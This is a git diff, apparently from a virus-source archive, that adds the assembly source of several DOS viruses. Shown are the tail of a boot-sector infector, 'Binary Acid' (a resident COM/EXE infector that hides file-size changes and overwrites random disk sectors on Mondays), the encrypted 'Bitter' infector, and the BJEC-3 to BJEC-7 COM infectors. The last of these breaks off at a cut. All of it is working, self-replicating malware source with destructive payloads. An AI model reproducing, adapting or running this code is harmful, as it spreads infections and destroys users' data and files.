mov es:int13uno,ax ; storage place + + mov ax,offset backtoorg ; 'call' our MBR part that does + push es ; a reading on the original and + push ax ; then jumps to it + retf ; return far + +backtoorg: + + pop bx + pop es + mov cx,2 ; sector 2 + mov dx,80h ; on harddrive (C: unit) + mov ax,201h ; read it and wait + int 0b6h + + db 0eah ; Now go jump to that spot in + dw 7c00h,0 ; order to execute the original + +our13: + push ax + push ds + sub ax,ax ; Zero out AX + mov ds,ax ; DS equals AX + + cmp word ptr es:[bx],5A4Dh ; .EXE files starting w/'MZ' ? + + + jne not_ready_right_now ; if not, retry until success + + cmp ds:[0e5h*4+2],ax ; Already in memory w/int21h? + jne not_ready_right_now ; If so, fuck it.. outa here! + + mov ax,cs + xchg ds:[21h*4+2],ax ; Else, catch it and exchange + mov ds:[0e5h*4+2],ax ; it with 0e5h instead.. + mov cs:int21zwei,ax ; Storage place + + mov ax,offset our21 ; And offset our int21 thingy + xchg ds:[21h*4],ax + mov ds:[0e5h*4],ax + mov cs:int21uno,ax ; Storage place + +not_ready_right_now: + + pop ds + pop ax + db 0eah ; Back to the original int13h +int13uno dw 0 ; Storage for the original +int13zwei dw 0 ; 13h interrupt + +our21: + + pusha + push ds + push es ; Save all registers + ; except for the stack ones + + cmp ax,4B00h ; Execution of a file? + je file_infect ; If so, lets go check it out + jmp computers_int21 ; else we're back to org21h + + +file_infect: + + mov ax,4301h ; Zero the attributes + sub cx,cx + int 0e5h ; first abuse of the new int21h + + mov ax,3D00h ; Open it up + int 0e5h + + xchg bx,ax ; mov bx,ax + + mov ax,1220h + int 2Fh + push bx + mov ax,1216h + mov bl,es:[di] + int 2Fh ; Point at the SFT thingy + pop bx + + or word ptr es:[di+2],2 ; set to read/write ability + push cs + pop ds + + mov ax,word ptr es:[di+0dh] ; read in date/time + mov cx,ax + + and cl,00001111b ; Is it seconds of our choice? + cmp cl,00000001b ; If not, lets infect it + je closeitup ; Yeah, lets freak out + + and al,11110000b ; Now set those bloody seconds + or al,00000001b + + mov f_time,ax ; Save file time + mov ax,es:[di+0fh] + mov f_date,ax ; and date + + mov cx,2 ; 3 bytes (2 here) + mov ah,3Fh ; Read in + inc cx ; plus one here + mov dx,offset org_bytes ; and offset to buffer + int 0e5h + + + xchg dx,si ; point at it + + cmp byte ptr [si],'M' ; Is it an .EXE file w/'M'? + je closeitup ; If so, leave it alone + + mov ax,es:[di+11h] ; Goto EOF with + mov dx,es:[di+13h] ; the help of + + mov es:[di+15h],ax ; using these instead of the + mov es:[di+17h],dx ; 4200h/4202h thingy + + dec ax ; dec ax + dec ax ; three + dec ax ; times + + mov byte ptr ds:jmp_x,231 ; jmp byte + inc jmp_x ; increase + inc jmp_x ; it twice + mov word ptr ds:jmp_x+1,ax ; and yet add one + + mov ah,30h ; Write to file (WTF 1/2) + mov cx,virsize ; Size of the viral code + mov dx,100h ; Offset the start + add ah,10h ; WTF 2/2 + int 0e5h + + xor ax,ax ; Goto SOF + mov es:[di+15h],ax + + mov ah,20h ; Write to file (WTF 1/2) + mov cx,2 ; 2 bytes + add ah,20h ; WTF 2/2 + inc cx ; plus another one + mov dx,offset jmp_x ; Offset the buffer + int 0e5h + + mov dx,f_date ; original date + mov cx,f_time ; original time + mov ax,5701h ; Restore them + int 0e5h + +closeitup: + mov ah,3Eh ; Close file + int 0e5h + +computers_int21: + pop es + pop ds + popa + db 0eah ; Jump back to original int21h +virend: + +int21uno dw ? ; Storage for the original +int21zwei dw ? ; 21h interrupt + +virsize equ virend-start + +f_date dw ? ; Storage place for +f_time dw ? ; file date/time + +jmp_x db 3 dup (?) ; JMP code buffer +realend: + end start diff --git a/b/BIN_ACID.ASM b/b/BIN_ACID.ASM new file mode 100755 index 0000000..0052cc7 --- /dev/null +++ b/b/BIN_ACID.ASM @@ -0,0 +1,357 @@ +;Binary Acid Virus +;by Evil Avatar +;Another lame virus by me. Then again, not bad for my second virus! +;This is a resident .COM/.EXE/.OV? infector that infects on file runs. +;It does hide the size change AND avoids CHKDSK and its ilk. +;Plenty more from me to come. Stay tuned. + +.model tiny ;if you are lost already, you +.code ;shouldn't be playing with viruses +org 0h + +v_mem equ (v_end-Acid+15)/16+1 +v_word equ (v_end-Acid)/2 +id equ 0a0ffh +v_file equ (heap-Acid) + +Acid: call next +next: pop bp + sub bp, offset next ;get delta offset + + mov ax, id + sub bx, bx + int 21h ;residentcy install check + + push es ;save PSP segment + cmp bx, id ;are we here already? + je check ;then exit + + mov ax, 3521h + int 21h ;get int 21h vector + mov word ptr [bp+save_21], bx + mov word ptr [bp+save_21+2], es ;save int 21h vector + + mov ax, ds ;ds=PSP segment + dec ax ;ax=MCB segment + mov es, ax ;es=MCB segment + cmp byte ptr es:[0], 'Z' ;is it last MCB in chain? + jne done ;no? exit + sub word ptr es:[3], v_mem ;allocate memory for virus + sub word ptr es:[12h], v_mem ;change TOM field in PSP + mov ax, es:[12h] ;find virus MCB segment + mov es, ax ;es=virus MCB segment + mov byte ptr es:[0], 'Z' ;mark as last in MCB chain + mov word ptr es:[1], 8 ;DOS now owns this + mov word ptr es:[3], v_mem-1 ;set the size of segment + inc ax ;ax=virus segment + mov es, ax ;es=virus segment + lea si, [bp+offset Acid] ;start of virus + sub di, di ;clear di + mov cx, v_word ;virus size in words + rep movsw ;copy virus to TOM + + push es + pop ds ;put segment in ds + mov ax, 2521h + mov dx, offset int21 + int 21h ;set new int 21h vector in virus + +check: pop es ;restore es + mov ah, 2ah + int 21h ;get date + cmp al, 1 ;is it a monday? + je destroy ;chew a sector +return: + cmp sp, 0abcdh ;is this an .exe file? + jne done ;no? restore com stuff + push es + pop ds + mov ax, es ;ax=PSP segment + add ax, 10h ;adjust for PSP size + add word ptr cs:[bp+comsave+2], ax ;set up cs + add ax, word ptr cs:[bp+_ss_sp+2] ;set up ss + cli ;clear ints for stack manipulation + mov ss, ax ;set ss + mov sp, word ptr [bp+_ss_sp] ;set sp + sti ;restore ints + db 0eah ;jump to old program +comsave db 0cdh, 20h, 0, 0 + +destroy: + in al, 40h + xchg al, ah + in al, 40h ;get a random number + xchg ax, dx + mov cx, 1 + mov ax, 2 + int 26h ;and crunch that sector + jmp return ;return to program + +done: push cs + pop ds ;ds=cs + push cs + pop es ;es=cs + + mov di, 100h ;beginning of program + push di ;for later return + lea si, [bp+comsave] ;first 3 bytes of program + movsb + movsw ;restore first 3 bytes + + ret ;return to program + +int21: cmp ax, id ;is this an installation check? + je vcheck ;yes? tell 'em we're here + push bx + push cx + push si + push di + push es + push dx + push ds ;save regs + push ax + cmp ah, 4bh ;hmm..execute huh? well, they + je v_com ;did it to themselves + cmp ah, 11h ;dir check + je dirfix + cmp ah, 12h ;dir check + je dirfix + pop ax + pop ds + pop dx +intpop: pop es + pop di + pop si + pop cx + pop bx ;restore regs + jmp dword ptr cs:[save_21] ;jump to DOS int 21h + +vcheck: xchg ax, bx ;put ID into bx + iret + +dirfix: pushf + call dword ptr cs:save_21 ;simulate int 21h call + + mov word ptr cs:[buffer], ax ;save return + push ax + push si + pushf ;save the new flags + mov si, sp + mov ax, [si] ;get new flags + mov [si+10], ax ;put them where old flags are + popf + pop si + pop ax + + test al, al ;see if file is found + jnz nofile ;if none, exit + + mov ah, 51h + int 21h ;get PSP segment + mov es, bx + cmp bx, es:[16h] ;is it DOS? + jne nofile ;no? avoid CHKDSK + + mov ah, 2fh + int 21h ;get DTA in es:bx + + cmp byte ptr ds:[bx], -1 ;is it extended FCB? + jne cont + add bx, 7 ;then add 7 to pointer +cont: mov cx, ds:[bx+17h] ;get time + and cx, 1fh ;get seconds + cmp cx, 1fh ;if not 62 secs then exit + jne nofile + + sub ds:[bx+1dh], v_file + sbb word ptr ds:[bx+1fh], 0 ;subtract virus size + +nofile: pop ax ;if you can read this + pop ds ;you don't need glasses + pop dx + pop es + pop di + pop si + pop cx + pop bx ;restore regs + mov ax, word ptr cs:[buffer] ;restore return type + iret + +v_com: push ds + push dx + push cs + pop ds + mov ax, 3524h + int 21h ;get critical error handler + mov word ptr [save_24], bx + mov word ptr [save_24+2], es ;save it + mov ax, 2524h + mov dx, offset int24 + int 21h ;set new critical error handler + pop dx + pop ds + push cs + pop es + + mov ax, 4300h + int 21h ;get attributes of file + push cx ;save attributes + mov ax, 4301h + sub cx, cx + int 21h ;clear attributes + jc booster + + mov ax, 3d02h + int 21h ;open file + xchg ax, bx ;put handle in bx + + push cs + pop ds ;ds=cs for all references + jmp past_booster +booster: ;i hate having to use these + pop cx + pop ax + pop ds + pop dx + push ax + jmp bad_file +text db 'KW' ;you'll never guess +past_booster: + mov ah, 3fh + mov cx, 1ah + mov dx, offset buffer + int 21h ;read first 1ah bytes + + mov ax, 5700h + int 21h ;get file time and date + mov word ptr [time], cx ;save time + mov word ptr [date], dx ;save date + and cx, 1fh ;get seconds + cmp cx, 1fh ;is it 62 secs? + je close ;already infected + + cmp word ptr [buffer], 'ZM' + je v_exe + cmp word ptr [buffer], 'MZ' + je v_exe ;if .exe file then infect it + + mov si, offset buffer + mov di, offset comsave + movsb + movsw ;move combytes to comsave + mov ax, 4202h + sub cx, cx + cwd + int 21h ;move pointer to EOF + + sub ax, 3 + mov byte ptr [buffer], 0e9h + mov word ptr [buffer+1], ax ;set up jump + +write_virus: + mov ah, 40h + mov cx, v_file + cwd + int 21h ;write virus to EOF + mov ax, 4200h + sub cx, cx + int 21h ;go to beginning of file + mov ah, 40h + mov cx, 1ah ;restore buffer size + mov dx, offset buffer + int 21h ;write header or jump + +sign: mov ax, 5701h + mov cx, word ptr [time] ;get time + or cx, 1fh ;set seconds to 62 + mov dx, word ptr [date] ;get date + int 21h ;set file time and date + +close: mov ah, 3eh + int 21h ;close file + + pop cx ;get attributes + pop ax + pop ds + pop dx ;get file name + push ax + mov ax, 4301h + int 21h ;restore attributes +bad_file: + push ds + push dx + mov ax, 2524h + lds dx, dword ptr cs:[save_24] + int 21h ;restore old int 24h + pop dx + pop ds + pop ax + jmp intpop ;return to caller + +v_exe: push bx + les ax, dword ptr [buffer+14h] ;get cs:ip in es:ax + mov word ptr [comsave], ax ;save ip + mov word ptr [comsave+2], es ;save cs + + les ax, dword ptr [buffer+0eh] ;get ss:sp + mov word ptr [_ss_sp], es ;save sp + mov word ptr [_ss_sp+2], ax ;save ss + + add word ptr [buffer+0ah], v_mem ;set new minimum memory requested + + mov ax, word ptr [buffer+8] ;get header size + mov cl, 10h + mul cl ;change to bytes + push ax ;save it + + mov ax, 4202h + sub cx, cx + cwd ;move file pointer to EOF + int 21h ;and get file size in dx:ax + + pop cx ;restore header size + push dx + push ax ;save file size + + sub ax, cx + sbb dx, 0 ;get new cs:ip + + mov word ptr [buffer+16h], dx ;save cs + mov word ptr [buffer+14h], ax ;save ip + + mov word ptr [buffer+0eh], dx ;save ss + mov word ptr [buffer+10h], 0abcdh ;save sp + + pop ax + pop dx ;get file size + add ax, (v_end-Acid) + adc dx, 0 ;add virus size + + mov cx, 200h + div cx ;convert to pages + push ax ;save it + or dx, dx ;is there a remainder? + je remainder ;yes? increment number of pages + inc ax +remainder: + mov word ptr [buffer+4], ax ;save number of pages + pop ax + and ah, 1 + mov word ptr [buffer+2], ax ;file size MOD 512 + pop bx + jmp write_virus + +int24: mov al, 3 ;fail the call + iret + +vname db '[Binary Acid]', 0 ;do you need this explained??? +author db '(c) 1994 Evil Avatar', 0 ;this is me (duh!) +_ss_sp dd ? ;stack pointer +heap: ;variables +save_21 dd ? ;int 21h entry +save_24 dd ? ;int 24h entry +time dw ? ;file time +date dw ? ;file date +buffer db 1ah dup (?) ;buffer +v_end: +end Acid diff --git a/b/BITTER.ASM b/b/BITTER.ASM new file mode 100755 index 0000000..8e0fd10 --- /dev/null +++ b/b/BITTER.ASM @@ -0,0 +1,347 @@ +; Virus generated by G 0.70 +; G written by Dark Angel of Phalcon/Skism + +; File: BITTER.ASM +; Bitter by Ender + +checkres1 = 'DA' +checkres2 = 'PS' +id = 'EF' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK filename.OBJ +; EXE2BIN filename.EXE filename.COM + org 0000h + +start: +ENCRYPT: +patchstart: + mov bx, offset endencrypt + mov cx, (heap-endencrypt)/2+1 +encrypt_loop: + db 002Eh ; cs: + db 0081h ; add word ptr [bx], xxxx +xorpatch db 0007h +encryptvalue dw 0000h + inc bx + inc bx + loop encrypt_loop +endencrypt: + call next +next: + pop bp + sub bp, offset next + + push es + push ds + + mov ax, checkres1 ; Installation check + int 0021h + cmp ax, checkres2 ; Already installed? + jz done_install + + mov ax, ds + dec ax + mov ds, ax + sub word ptr ds:[0003h], ((endheap-start+1023)/1024)*64 + sub word ptr ds:[0012h], ((endheap-start+1023)/1024)*64 + mov es, word ptr ds:[0012h] + + push cs + pop ds + xor di, di + mov cx, (heap-start)/2+1 ; Bytes to move + mov si, bp ; lea si,[bp+offset start] + rep movsw + + xor ax, ax + mov ds, ax + sub word ptr ds:[0413h], (endheap-start+1023)/1024 + push ds + lds ax, ds:[21h*4] ; Get old int handler + mov word ptr es:oldint21, ax + mov word ptr es:oldint21+2, ds + pop ds + mov word ptr ds:[21h*4], offset int21 ; Replace with new handler + mov ds:[21h*4+2], es ; in high memory + +done_install: + pop ds + pop es + cmp sp, id + je restore_EXE +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3] + movsw + movsb + ret + +restore_EXE: + mov ax, ds + add ax, 0010h + add cs:[bp+word ptr origCSIP+2], ax + add ax, cs:[bp+word ptr origSPSS] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS+2] + sti + db 00EAh +origCSIP db ? +old3 db 0cdh,20h,0 +origSPSS dd ? + +INT24: + mov al, 0003h + iret + +int21: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp ax, 4B00h ; execute? + jz execute +return: + jmp exitint21 +execute: + mov word ptr cs:filename, dx + mov word ptr cs:filename+2, ds + mov ax, 3524h + int 0021h + push es + push bx + + mov ax, 2524h + lea dx, INT24 ; ASSumes ds=cs + int 0021h + + push cs + pop es + + + mov bx, dx + cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM + jz return ; Exit if so + + mov ax, 4300h + lds dx, cs:filename + int 0021h + jc return + push cx + push ds + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0021h + + lds dx, cs:filename + mov ax, 3D02h + int 0021h + mov bx, ax ; xchg ax,bx is more efficient + + push cs + pop ds + + mov ax, 5700h ; get file time/date + int 0021h + push cx + push dx + + mov ah, 003Fh + mov dx, offset readbuffer + mov cx, 001Ah + int 0021h + + mov ax, 4202h + xor cx, cx + cwd + int 0021h + + cmp word ptr [offset readbuffer], 'ZM' + jz checkEXE + + mov cx, word ptr [offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jz jmp_close + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + cmp ax, (heap-start) ; check if too small + jb jmp_close ; Exit if so + + mov di, offset old3 + mov si, offset readbuffer + movsw + movsb + + mov si, ax ; save entry point + add si, 0100h + mov cx, 0003h + sub ax, cx + mov word ptr [offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [offset readbuffer], dl + jmp short continue_infect +checkEXE: + cmp word ptr [offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea si, readbuffer+14h + lea di, origCSIP + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [readbuffer+16h], ax ; Para disp CS in module. + mov word ptr [readbuffer+10h], id ; Initial SP + mov word ptr [readbuffer+14h], dx ; IP Offset + + mov si, dx ; save entry point + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [readbuffer+2], ax ; the EXE header. + mov word ptr [readbuffer+4], dx ; Fix-up the file size in + + pop bx ; restore file handle + mov cx, 001Ah + +continue_infect: + push cx ; save # bytes to write + +get_encrypt_value: + mov ah, 002Ch ; Get current time + int 0021h + + or dx, dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + + add si, (offset endencrypt-offset encrypt) + mov word ptr ds:[patchstart+1], si + mov word ptr ds:[encryptvalue], dx + + mov di, offset encryptbuffer + mov si, offset ENCRYPT + mov cx, (heap-encrypt)/2 + push si + rep movsw ; copy virus to buffer + + mov ax, offset endencrypt-encrypt+encryptbuffer + mov word ptr ds:[patchstart+1], ax + pop si + push offset endencrypt + mov byte ptr [offset endencrypt], 00C3h ; retn + xor byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h + push bx + call si ; encrypt virus in buffer + pop bx + pop word ptr [offset endencrypt] + + xor byte ptr [offset xorpatch], 0028h + + mov ah, 0040h + mov cx, heap-encrypt + mov dx, offset encryptbuffer + int 0021h + + mov ax, 4200h + xor cx, cx + cwd + int 0021h + + + pop cx + mov ah, 0040h + mov dx, offset readbuffer + int 0021h + + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0021h + + mov ah, 003Eh + int 0021h + + pop ax ; restore file attributes + pop dx ; get filename and + pop ds + pop cx ; attributes from stack + int 0021h + + pop dx + pop ds + mov ax, 2524h + int 0021h + +exitint21: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + + db 00EAh ; return to original handler +oldint21 dd ? + +virusname db 'I am quite BITTER!',0 + +heap: +encryptbuffer db (heap-encrypt)+1 dup (?) +filename dd ? +readbuffer db 1ah dup (?) +endheap: + end start diff --git a/b/BJEC-3.ASM b/b/BJEC-3.ASM new file mode 100755 index 0000000..9fb5cb9 --- /dev/null +++ b/b/BJEC-3.ASM @@ -0,0 +1,127 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin + + + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; ----- alma mater + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk \ No newline at end of file diff --git a/b/BJEC-4.ASM b/b/BJEC-4.ASM new file mode 100755 index 0000000..82dc720 --- /dev/null +++ b/b/BJEC-4.ASM @@ -0,0 +1,134 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/b/BJEC-5.ASM b/b/BJEC-5.ASM new file mode 100755 index 0000000..4ed7938 --- /dev/null +++ b/b/BJEC-5.ASM @@ -0,0 +1,143 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/b/BJEC-6.ASM b/b/BJEC-6.ASM new file mode 100755 index 0000000..c422af9 --- /dev/null +++ b/b/BJEC-6.ASM @@ -0,0 +1,147 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + je fin ; if file name CO*.com then skip + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/b/BJEC-7.ASM b/b/BJEC-7.ASM new file mode 100755 index 0000000..03c5853 --- /dev/null +++ b/b/BJEC-7.ASM @@ -0,0 +1,153 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + je fin ; if file name CO*.com then skip + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + 